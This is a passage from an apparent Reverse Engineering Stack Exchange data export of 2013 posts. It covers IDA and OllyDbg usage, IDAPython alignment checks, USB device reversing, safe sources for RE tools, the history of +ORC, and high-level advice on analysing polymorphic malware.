Hopper will benefit from it when later going professional and switching to paid IDA.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Last but not least a note about decompilers. Being more acquainted with disassemblers I actually found results of Hex-Rays confusing and ambiguous in many cases in the past. The same holds for decompilation results of Hopper. If you are a seasoned reverser, disassembly sometimes tends to be &quot;clearer&quot; (albeit less convenient) the more experience you have.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-07-05T00:47:57.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2414" PostTypeId="2" ParentId="2388" CreationDate="2013-07-05T05:58:12.747" Score="6" Body="&lt;p&gt;Just a small tip in case you didn't know: You can demangle the names inside IDA via &lt;strong&gt;Options&lt;/strong&gt; -&gt; &lt;strong&gt;Demangled names..&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe default is demangle the name in the comments, but you can also change that to the function name itself. Takes away some clutter!&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-07-05T05:58:12.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2415" PostTypeId="1" AcceptedAnswerId="2423" CreationDate="2013-07-05T18:05:47.107" Score="7" ViewCount="2367" Body="&lt;p&gt;Some compilers will add useless bytes in functions or in between functions. In the below block of code at 0040117C we can see the &quot;align&quot; keyword that was inserted by IDA.   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401176                 mov     eax, [edx+4]&#xA;.text:00401179                 call    eax&#xA;.text:0040117B&#xA;.text:0040117B locret_40117B:                          ; CODE XREF: sub_401160+Dj&#xA;.text:0040117B                 retn&#xA;.text:0040117B sub_401160      endp&#xA;.text:0040117B&#xA;.text:0040117B ; ---------------------------------------------------------------------------&#xA;.text:0040117C                 align 10h&#xA;.text:00401180&#xA;.text:00401180 ; =============== S U B R O U T I N E =======================================&#xA;.text:00401180&#xA;.text:00401180 ; Attributes: bp-based frame&#xA;.text:00401180&#xA;.text:00401180 ; int __stdcall sub_401180(void *Src)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we were to view this in hex mode in this example we would see &quot;&lt;code&gt;CC CC ..&lt;/code&gt;&quot;. With other compilers we might see &quot;&lt;code&gt;90 90 ..&lt;/code&gt;&quot;. The obvious hint of what this is being used for is the &quot;align&quot; keyword. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; how can I tell if a specific byte at an address is marked as &lt;code&gt;align&lt;/code&gt; in IDAPython? Example code would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found a couple of functions and data types such as &lt;code&gt;FF_ALIGN&lt;/code&gt; and &lt;code&gt;idaapi.is_align_insn(ea&lt;/code&gt; that looked positive but I have yet to figure out a working example or results that confirm yes or no. I would prefer to rely on IDA types or functions rather than use string parsing for the keyword &quot;align&quot;. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastEditorUserId="189" LastEditDate="2013-07-07T16:59:02.423" LastActivityDate="2018-03-13T12:40:58.453" Title="Accessing Data Marked as Alignment Bytes in IDA" Tags="|ida|compilers|idapython|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2416" PostTypeId="1" CreationDate="2013-07-06T00:14:24.727" Score="23" ViewCount="14734" Body="&lt;p&gt;I'd like to reverse engineer my usb beer-can refrigurator, which does connect via USB on windows and via simple GUI tray-tool can set/query temperature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking about running virtualboxed driver and capturing usb communications via wireshark and usbmon interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know of handy guide/tools that would help me reverse engineer this and possibly write simple userspace tool / driver?&lt;/p&gt;&#xA;" OwnerUserId="2396" LastActivityDate="2013-07-07T22:44:30.043" Title="How to reverse engineer simple usb device [windows -&gt; linux]" Tags="|windows|linux|usb|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2417" PostTypeId="2" ParentId="2416" CreationDate="2013-07-06T01:51:11.957" Score="28" Body="&lt;p&gt;VMWare can capture USB traffic between the device and the VM. A VMWare engineer even made an open-source tool for analyzing and visualizing USB logs - Virtual USB analyzer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2WH1x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vusb-analyzer.sourceforge.net/&quot; rel=&quot;noreferrer&quot;&gt;Web site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://vusb-analyzer.sourceforge.net/tutorial.html&quot; rel=&quot;noreferrer&quot;&gt;Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatively, a tool for converting VMWare logs to .pcap for analyzing in Wireshark is available &lt;a href=&quot;http://esec-lab.sogeti.com/post/2011/04/06/Sniffing-USB-traffic-with-VMWare&quot; rel=&quot;noreferrer&quot;&gt;from Sogeti&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-07-06T01:51:11.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2418" PostTypeId="2" ParentId="2411" CreationDate="2013-07-06T04:57:30.600" Score="3" Body="&lt;p&gt;The error indicates (exactly what it states) that the &lt;code&gt;android_server&lt;/code&gt; application failed to bind to IP address/port. What it means is that the address/port that the &lt;code&gt;android_server&lt;/code&gt; is trying to use is most likely already used by other process or application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, it is not enough of information to provide you with an exact answer. Please provide detailed information on your setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is an article of a sample setup for Android debugging with IDA:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blog.spiderlabs.com/2013/06/debugging-android-libraries-using-ida.html&quot; rel=&quot;nofollow&quot;&gt;Debugging Android Libraries Using IDA&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-06T05:16:12.390" LastActivityDate="2013-07-06T05:16:12.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2420" PostTypeId="1" AcceptedAnswerId="2422" CreationDate="2013-07-06T10:24:56.467" Score="18" ViewCount="5049" Body="&lt;p&gt;In nearly every dis-assembly created by IDA, there are several functions that are marked &lt;code&gt;nullsub_&lt;/code&gt; which according to IDA, return &lt;del&gt;&lt;code&gt;null&lt;/code&gt;&lt;/del&gt; nothing (just &lt;code&gt;ret&lt;/code&gt; instruction). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what are those and why are they in the database?&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="189" LastEditDate="2013-08-31T05:11:25.307" LastActivityDate="2020-03-11T03:53:03.047" Title="What are nullsub_ functions in IDA?" Tags="|disassembly|ida|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2421" PostTypeId="2" ParentId="2276" CreationDate="2013-07-06T10:42:05.590" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff562217(v=vs.85)&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/windows/hardware/ff562217(v=vs.85)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The !chkimg extension detects corruption in the images of executable files by comparing them to the copy on a symbol store or other file repository.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2399" LastActivityDate="2013-07-06T10:42:05.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2422" PostTypeId="2" ParentId="2420" CreationDate="2013-07-06T11:20:00.203" Score="24" Body="&lt;p&gt;&lt;em&gt;I'm answering from a C++ viewpoint, other languages have different reasons.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are legitimate uses for these functions, even if they are nothing more than&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void func(/* any args */) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One example that comes to mind is a virtual function that does nothing in a base class but is overridden in a derived class. A similar example would be a template function whose general case is empty but specializations are not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more case is static variables. A static variable destructor has to be called at the end of the program, which usually uses &lt;code&gt;atexit&lt;/code&gt; to register the destructor callback when the variable is accessed for the first time. As I recall, the C++ standard says that a destructor with no observable behaviour might not be invoked, but I have seen MSVC 6.0 register &lt;code&gt;nullsub&lt;/code&gt;s as destructors anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Global variables follow rules similar to static ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is a function that simply has no effect, &lt;em&gt;according to the compiler&lt;/em&gt;. The function has to exist in case something (e.g. another compilation unit that doesn't know the implementation is empty) tries to call it, but its body is empty. &lt;br /&gt;&#xA;Mind that &quot;according to the compiler&quot; is not always equal to the coder's understanding. I myself once wrote a cleanup function that did a lot of work, but by mistake it took the argument by value instead of by reference. The compiler optimized the entire function body to a &lt;code&gt;{}&lt;/code&gt; without any warning. Oops.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-07-06T11:20:00.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2423" PostTypeId="2" ParentId="2415" CreationDate="2013-07-06T15:29:37.150" Score="7" Body="&lt;p&gt;Answering my own question so it's not marked as being opened. @DCoder's comment of using &lt;code&gt;isAlign(idaapi.getFlags(ScreenEA()))&lt;/code&gt; is correct. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040117B&#xA;.text:0040117B locret_40117B:                          ; CODE XREF: sub_401160+Dj&#xA;.text:0040117B                 retn&#xA;.text:0040117B sub_401160      endp&#xA;.text:0040117B&#xA;.text:0040117B ; ---------------------------------------------------------------------------&#xA;.text:0040117C                 align 10h&#xA;.text:00401180&#xA;.text:00401180 ; =============== S U B R O U T I N E =======================================&#xA;.text:00401180&#xA;.text:00401180 ; Attributes: bp-based frame&#xA;.text:00401180&#xA;.text:00401180 ; int __stdcall sub_401180(void *Src)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we execute the following command. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt;isAlign(idaapi.getFlags(0x0040117C))&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We would get a value of True. Note: This only works for the first byte that is marked as align. All further align bytes will return false. Thanks DCoder for the answer. &lt;/p&gt;&#xA;" OwnerUserId="1425" LastActivityDate="2013-07-06T15:29:37.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2424" PostTypeId="2" ParentId="2416" CreationDate="2013-07-07T17:07:07.447" Score="19" Body="&lt;p&gt;Matt Cutts wrote a series of blog posts outlining the general approach of reverse-engineering a USB device and getting it working with linux, and explaining how he did this for a USB controlled toy missile launcher. You may find them a useful starting point.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mattcutts.com/blog/reverse-engineering-a-windows-usb-driver/&quot;&gt;http://www.mattcutts.com/blog/reverse-engineering-a-windows-usb-driver/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mattcutts.com/blog/playing-with-a-usb-missile-launcher/&quot;&gt;http://www.mattcutts.com/blog/playing-with-a-usb-missile-launcher/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mattcutts.com/blog/linux-usb-device-driver-info/&quot;&gt;http://www.mattcutts.com/blog/linux-usb-device-driver-info/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mattcutts.com/blog/compile-a-simple-usb-program-in-linux/&quot;&gt;http://www.mattcutts.com/blog/compile-a-simple-usb-program-in-linux/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2404" LastEditorUserId="1562" LastEditDate="2013-07-07T22:44:30.043" LastActivityDate="2013-07-07T22:44:30.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2425" PostTypeId="1" CreationDate="2013-07-07T17:17:43.660" Score="9" ViewCount="1376" Body="&lt;p&gt;I want to decrypt polymorphic malware and want to get actual virus body which is going to do infection. I tried to decrypt virut.ce (this is one polymorphic malware) in ollyDbg but it is using anti debugging and anti emulation technique and so it is very hard to find virus body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to get virus body of encrypted virus. But in case of polymorphic virus, decryption routine is morphed and hence it is difficult to obtain virus body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest me better approach to get virus body. Or can suggest other simple polymorphic malware which I can debug in OllyDbg. My goal is to get virus body from polymorphic malware.&lt;/p&gt;&#xA;" OwnerUserId="2405" LastEditorUserId="189" LastEditDate="2013-07-13T04:50:47.903" LastActivityDate="2013-07-13T11:10:04.707" Title="How to get virus body of Polymorphic Malware" Tags="|malware|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2426" PostTypeId="2" ParentId="2425" CreationDate="2013-07-07T18:26:27.797" Score="4" Body="&lt;p&gt;There isn't an easy way to extract the virus body from a polymorphic virus, because that's the nature of polymorphic malware.  The more recent polymorphic malware also carry, as you see, anti-emulator and anti-debugger tricks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want &quot;easier&quot; polymorphic malware, try some of the older ones, like Marburg, HPS, Magistr, Chiton (the &quot;EfishNC&quot; one, but the problem is to find the entrypoint), Bagif, Bounds (also has the tricky entrypoint problem - there's a good article about it, it's a linear decryptor but the first instruction that you see is not the first instruction of the decryptor), ...&#xA;They can be emulated without issue.  However, in the case of Marburg and HPS, the decryptors are very large (and in the case of Bounds, &lt;em&gt;very&lt;/em&gt; large).&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2013-07-07T18:26:27.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2427" PostTypeId="1" AcceptedAnswerId="2429" CreationDate="2013-07-07T20:39:05.067" Score="8" ViewCount="1816" Body="&lt;p&gt;I am looking for a reliable source to download RE tools such as:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Lordpe&lt;/li&gt;&#xA;&lt;li&gt;Imprec&lt;/li&gt;&#xA;&lt;li&gt;Peid&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;but it seems all the links in google are not safe, where can I buy or download it from a reliable not malwared source. Can I trust &lt;a href=&quot;http://www.woodmann.com/&quot;&gt;http://www.woodmann.com/&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="1562" LastEditDate="2013-12-03T01:12:08.400" LastActivityDate="2013-12-03T01:12:08.400" Title="Where can I get reliable tools for RE?" Tags="|tools|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2428" PostTypeId="1" AcceptedAnswerId="2430" CreationDate="2013-07-07T21:07:13.747" Score="0" ViewCount="3482" Body="&lt;p&gt;I have heard countless stories on the Old Red Cracker, also known as +ORC, being the founding father of reverse engineering tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also read somewhere that he left some riddles to find his &quot;secret page&quot; and he disappeared into thin air.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did anyone &lt;em&gt;really&lt;/em&gt; solve these riddles? Is the identity, or some of the background, of that person known?&lt;/p&gt;&#xA;" OwnerUserId="2407" LastEditorUserId="189" LastEditDate="2013-07-08T02:15:49.967" LastActivityDate="2013-07-08T02:15:49.967" Title="Who was the Old Red Cracker?" Tags="|history|" AnswerCount="1" CommentCount="3" ClosedDate="2013-07-08T02:14:28.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="2429" PostTypeId="2" ParentId="2427" CreationDate="2013-07-07T22:01:21.047" Score="20" Body="&lt;p&gt;Tools archived on &lt;a href=&quot;http://www.woodmann.com/&quot;&gt;http://www.woodmann.com/&lt;/a&gt; should be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've personally met and trust most of the people who run the site (Woodmann, dELTA, etc.), and can vouch for their integrity.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-07T22:01:21.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2430" PostTypeId="2" ParentId="2428" CreationDate="2013-07-07T23:10:43.303" Score="5" Body="&lt;p&gt;Yes, the riddle was solved. See &lt;a href=&quot;http://www.home.aone.net.au/~byzantium/found/found4.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.home.aone.net.au/~byzantium/found/found4.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for +ORC himself, there's some more info at &lt;a href=&quot;http://www.woodmann.com/crackz/Orc.htm&quot; rel=&quot;noreferrer&quot;&gt;http://www.woodmann.com/crackz/Orc.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last time I spoke with Fravia+ about +ORC, Fravia+ said that +ORC became obsessed with the pyramids in Egypt and went there to study them. He contracted some kind of illness while there and died rather suddenly. If I remember correctly, Fravia+ learned of +ORC's death through +ORC's son.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-07T23:10:43.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2431" PostTypeId="2" ParentId="2425" CreationDate="2013-07-08T06:44:55.603" Score="6" Body="&lt;h2&gt;Sounds like a fun challenge!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To get the malware body I'd recommend you use IDA Pro instead of Olly (but it is really your own choice). &#xA;Anyway, first I'd recommend to trace what it does, do this by using a sandbox. Learn how malware detects this and think of a way around this detection mechanism. Read other papers and study how polymorphic and even metamorphic code works. I have always liked the metamorphism paper on OpenRCE &lt;a href=&quot;http://www.openrce.org/articles/full_view/29&quot; rel=&quot;noreferrer&quot;&gt;http://www.openrce.org/articles/full_view/29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Getting there&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to get this going I'd recommend writing a lot of unpacker plugins etc for IDA. See malware as unions. First analyse the first layer, build a plugin to automatically (staticly) unpack it (again IDA) and continue doing this till you get the entire thing to reverse. Remove the (bytepatch) anti-debug techniques and really get to know how this thing functions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basicly hard malware is a long tedious process that can not be automated. Making it really fun to analyse them. If you want quicker analyses you can look at TitaniumCore or submit the sample to a VirusExchange site like offensive computing :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Have fun and goodluck!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="2035" LastEditDate="2013-07-08T10:48:44.540" LastActivityDate="2013-07-08T10:48:44.540" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2432" PostTypeId="1" AcceptedAnswerId="2434" CreationDate="2013-07-08T16:15:23.567" Score="5" ViewCount="1458" Body="&lt;p&gt;This is probably a pretty simple question as I'm not too used to how the syntax looks for OllyDBG's disassembler. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this following assembler statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV EAX, DWORD PTR [ESI + 14]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be roughly translated to this C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax = *(esi + 0x14);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have I understood the syntax correctly or am I misunderstanding this? &lt;/p&gt;&#xA;" OwnerUserId="1612" LastEditorUserId="53" LastEditDate="2013-07-09T11:33:08.230" LastActivityDate="2013-07-09T12:40:22.933" Title="OllyDBG's disassembled syntax and c-equivalent" Tags="|disassembly|assembly|x86|ollydbg|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2433" PostTypeId="1" CreationDate="2013-07-08T16:29:19.350" Score="6" ViewCount="201" Body="&lt;p&gt;In a CIL assembly, where are resources stored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to reverse engineer a sample that appears to be protected by a .NET crypter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CIL assembly for the sample does a SHA256 decryption on a blob that is retrieved using System.Resources.ResourceManager::GetObject, but I am unsure where in the binary those resources are.  I loaded the binary into Resource Hacker, but all it can see is something called Version Info that has metadata about the binary in it.  I'm assuming there's some kind of segment or something that isn't an actual PE segment, but is a CLI segment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, it is on malwr.com, MD5: 891905810486c6dee6d246f9845fb5cd&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2184" LastEditorUserId="1562" LastEditDate="2013-07-08T17:23:54.610" LastActivityDate="2013-09-25T07:00:47.907" Title="Where are program resources stored in a CIL assembly?" Tags="|windows|dumping|pe-resources|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2434" PostTypeId="2" ParentId="2432" CreationDate="2013-07-08T19:54:49.087" Score="5" Body="&lt;p&gt;The &lt;code&gt;DWORD PTR [expression]&lt;/code&gt; syntax means &quot;take the value of &lt;code&gt;expression&lt;/code&gt;, interpret it as an address, and access 4 (size of a &lt;code&gt;DWORD&lt;/code&gt;) bytes starting with that address&quot;. But assembly data types are rather different from those of C, so many C types can be accessed this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instruction you provided is basically equivalent to C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef dword_t ...;&#xA;dword_t eax = *(dword_t *)((char *)esi + 0x14);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This instruction can be used to access 4 contiguous bytes no matter what the C type of those bytes is - in the line above, you could (on a 32 bit system) define &lt;code&gt;dword_t&lt;/code&gt; as &lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;, &lt;code&gt;void *&lt;/code&gt; or another type of the appropriate size, and it would still work the same way, it's just bits and bytes travelling from one place to another. With a reasonably smart compiler, this can even be used to read entire structs or arrays in one step, as long as their length is small enough.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But this later on could be used as a pointer if that's what you'd like?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As I said, it is not possible to say what the original C type of those bytes is just from this context. You have to look at other places where this value is used and look for indicators of the specific type. If you see it used in &lt;code&gt;[eax]&lt;/code&gt; or a similar expression - it's probably a pointer. If it's used in a more complex expression, like &lt;code&gt;[eax + ecx]&lt;/code&gt;, one of the two is a pointer and the other is an array index/byte displacement from that pointer, but there's no telling which is which just from that line, more context is needed.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-07-08T19:54:49.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2435" PostTypeId="2" ParentId="2432" CreationDate="2013-07-09T11:22:03.170" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/users/262/dcoder&quot;&gt;@DCoder&lt;/a&gt; has certainly answered this, so here is only some notes, or, at least it started out as a short note, and ended up as a &lt;strong&gt;monster&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;OllyDbg uses &lt;code&gt;MASM&lt;/code&gt; by default (with some extension). In other words:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;operation target, source&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other syntaxes are available under (depending on version):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Options-&gt;Debugging Options-&gt;Disasm&lt;/li&gt;&#xA;&lt;li&gt;Options-&gt;Code&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;E.g. &lt;code&gt;IDEAL&lt;/code&gt;, &lt;code&gt;HLA&lt;/code&gt; and &lt;code&gt;AT&amp;amp;T&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also quite a few other options for how the disassembled code looks like. Click around. The changes are instantaneously so easy to find the &lt;em&gt;right one&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Numbers are always hex, but without any notation like &lt;code&gt;0x&lt;/code&gt; or &lt;code&gt;h&lt;/code&gt; (for compactness sake I guess – and the look is cleaner (IMHO)). Elsewhere, like the instruction details below disassembly, one can see e.g. base 10 numbers – then denoted by a dot at end. E.g. 0x10 (16.)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(And here I stride off …)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;When it comes to reading the code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;(Talking Intel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off tables like the ones at &lt;a href=&quot;http://ref.x86asm.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;x86asm.net&lt;/a&gt; and the &lt;a href=&quot;http://www.sandpile.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sandpile&lt;/a&gt; are definitively valuable assets in the work with assembly code. However one should also have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 1: Basic Architecture.&lt;/li&gt;&#xA;&lt;li&gt;Intel® 64 and IA-32 Architectures Software Developer’s Manual, Volume 2 (2A, 2B &amp;amp; 2C): Instruction Set Reference, A-Z.&lt;/li&gt;&#xA;&lt;li&gt;… etc. (There are also some collection volumes.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel® 64 and IA-32 Architectures Software Developer Manuals&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of good sections and descriptions of how a system is stitched together and how operations affect the overall system as in registers, flags, stacks etc. Read e.g. &lt;code&gt;6.2 STACKS&lt;/code&gt;, &lt;code&gt;3.4 BASIC PROGRAM EXECUTION REGISTERS&lt;/code&gt;, &lt;code&gt;CHAPTER 4 DATA TYPES&lt;/code&gt; from the &lt;em&gt;&quot;Developers&quot;&lt;/em&gt; volume.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As mentioned x86amd and Sandpile are good resources, but when you wonder about an instruction the manual is a good choice as well; &lt;em&gt;&quot;Instruction Set Reference A-Z&quot;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your whole line is probably something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00406ED6     8B46 14           MOV EAX,DWORD PTR DS:[ESI+14]&#xA;; or&#xA;00406ED6     8B46 14           MOV EAX,DWORD PTR [ESI+14]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Depending on &lt;em&gt;options&lt;/em&gt; and &lt;em&gt;Always show default segment&lt;/em&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case we can split the binary as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8B46 14&#xA; | |  |&#xA; | |  +---&amp;gt; Displacement&#xA; | +------&amp;gt; ModR/M&#xA; +--------&amp;gt; Opcode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that there can be prefixes before opcode and other fields as well. For detail look at manual. E.g. &quot;CHAPTER 2 INSTRUCTION FORMAT&quot; in A-Z manual.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Find the &lt;code&gt;MOV&lt;/code&gt; operation and you will see:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;MOV – move&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Opcode   Instruction     Op/En   64-bit    Compat   Description&#xA;…&#xA;8B /r    MOV r32,r/m32   RM      Valid     Valid    Move r/m32 to r32.&#xA;               |   |&#xA;               |   +---&amp;gt; source&#xA;               +-------&amp;gt; destination&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Instruction Operand Encoding&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Op/En   Operand1         Operand2         Operand3         Operand4&#xA;RM      ModRM:reg (w)    ModRM:r/m (r)    NA               NA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read &lt;em&gt;&quot;3.1 INTERPRETING THE INSTRUCTION REFERENCE PAGES&quot;&lt;/em&gt; for details on 